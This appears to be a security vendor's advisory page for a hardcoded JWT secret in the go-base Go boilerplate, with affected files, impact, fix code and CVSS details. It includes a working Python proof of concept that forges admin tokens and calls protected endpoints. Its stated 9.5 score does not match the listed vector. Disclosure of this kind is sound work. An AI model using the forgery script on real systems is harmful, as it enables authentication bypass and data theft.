Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-48031 — go-base

🔴 CVSS 9.5 — Critical ✅ No Known Exploit CWE-798 NVD
9.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Go Restful API Boilerplate: Hardcoded JWT Secret "random" Allows Token Forgery

Vulnerability: CWE-798 — Hardcoded JWT Secret + Broken Mitigation

Affected Component

  • github.com/dhax/go-base — Go REST API boilerplate (go-chi/jwtauth/v5, Viper, PostgreSQL/Bun)
  • 1,685 stars on GitHub

Vulnerability Locations

| File | Line | Role |

|------|------|------|

| dev.env | 10 | AUTH_JWT_SECRET=random — template default shipped to all users |

| cmd/serve.go | 35 | viper.SetDefault("auth_jwt_secret", "random") — code-level fallback |

| auth/jwt/tokenauth.go | 22-25 | Weak mitigation: only checked literal "random", auto-generated non-persistent key |

| auth/jwt/tokenauth.go | 28 | jwtauth.New("HS256", []byte(secret), nil) — creates JWT signer with the weak key |

| pwdless/api.go | 203 | GenTokenPair() — issues access + refresh tokens signed with the weak key |

Data Flow

```

dev.env AUTH_JWT_SECRET=random

OR

cmd/serve.go viper.SetDefault("auth_jwt_secret", "random")

auth/jwt/tokenauth.go: viper.GetString("auth_jwt_secret")

auth/jwt/tokenauth.go: jwtauth.New("HS256", []byte(secret), nil)

pwdless/api.go: GenTokenPair() → access + refresh tokens

jwt/authenticator.go: Every authenticated request trusts the forged token

```

Description

The JWT signing secret is hardcoded to the string "random" in two independent locations:

1. dev.env:10 — The template .env file sets AUTH_JWT_SECRET=random. Every developer who copies this template gets the same default.

2. cmd/serve.go:35viper.SetDefault("auth_jwt_secret", "random") provides a programmatic fallback. Even if the .env file is missing entirely, the application silently starts with "random" as the signing key.

The original code contained a mitigation in auth/jwt/tokenauth.go:22-25 that checked if the secret equaled "random" and replaced it with a randomly-generated 32-byte string. This mitigation had two fatal flaws:

  • (a) Single-value check: Only the exact string "random" was caught. Any other weak secret (e.g., "secret", "changeme", empty string) passed through unchecked.
  • (b) Non-persistent replacement: The auto-generated key was stored only in memory (randStringBytes(32)), not persisted. On every restart, all existing tokens became invalid without warning, breaking all active user sessions. This made the "fix" itself a denial-of-service.

An attacker who reads the public repository knows the signing key is "random". They can forge JWT tokens for arbitrary users (including admin roles), gaining complete authentication bypass on all protected API endpoints.

Proof of Concept

```python

import jwt

import requests

# The hardcoded secret from dev.env / serve.go (public repository)

SECRET = "random"

BASE_URL = "http://target:3000"

# Step 1: Forge an admin JWT token

payload = {

"sub": "[email protected]",

"roles": ["admin"],

"iat": 9999999000,

"exp": 9999999999

}

forged_token = jwt.encode(payload, SECRET, algorithm="HS256")

# Step 2: Access any protected endpoint with the forged token

headers = {"Authorization": f"Bearer {forged_token}"}

# List all users (requires admin)

r = requests.get(f"{BASE_URL}/api/v1/admin/users", headers=headers)

print(f"Status: {r.status_code}") # 200 OK

# Access own profile with forged identity

r = requests.get(f"{BASE_URL}/api/v1/me", headers=headers)

print(f"Profile: {r.json()}") # Returns [email protected] profile

# The forged token is also accepted by refresh endpoints

r = requests.post(f"{BASE_URL}/api/v1/token/refresh", headers=headers)

# Returns a new valid token signed with the same "random" secret

```

Impact

  • Authentication Bypass: Forge tokens for any user, including admin roles
  • Confidentiality: Access all user data, profiles, and protected resources
  • Integrity: Modify any data accessible via the API
  • Persistence: Forged tokens remain valid until expiry (or indefinitely via refresh)

Fix (PR #31)

The fix replaced the single-value check with a comprehensive approach:

```go

// BEFORE (tokenauth.go:22-25) — weak, single-value check

if secret == "random" {

secret = randStringBytes(32) // non-persistent, breaks on restart

}

// AFTER — comprehensive known-weak-secrets map

var knownWeakSecrets = map[string]bool{

"random": true,

"secret": true,

"changeme": true,

"change-me": true,

"default": true,

"": true,

}

if knownWeakSecrets[secret] {

log.Fatal("JWT secret is a known weak value. Please set a strong AUTH_JWT_SECRET.")

}

```

Plus: minimum 32-character length check, removal of non-persistent auto-generation, and clear generation instructions (openssl rand -base64 32) in the template.

Patched Versions

  • All versions after commit range including PR#31 (merged May 17, 2026).
  • Users should update to the latest master, regenerate their JWT secret, and restart.

Resources

  • Fix PR: https://g

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: None.

Weakness class

CVE-2026-48031 is classified as CWE-798: Use of Hard-coded Credentials. Credentials are built into the product, so they are identical on every installation and cannot be rotated.

Affected software

CVE-2026-48031 is recorded against 2 packages.

  • github.com/dhax/go-base
  • unknown

Timeline and source

Published on 25 June 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com (Advisory)
github.com (Fix)

Same weakness in other software

These advisories are the same class of weakness (CWE-798: Use of Hard-coded Credentials) in other software:

Details

Severity CRITICAL
CVSS Score 9.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWE CWE-798
Public Exploit ✅ No
Source NVD
Published 2026-06-25
Updated 2026-08-20
Modified 2026-06-25

Affected Packages

Software From version Fixed in
github.com/dhax/go-base
unknown

Exploit Protection

Are you running go-base?

CVE-2026-48031 carries CVSS 9.5 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-48031 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026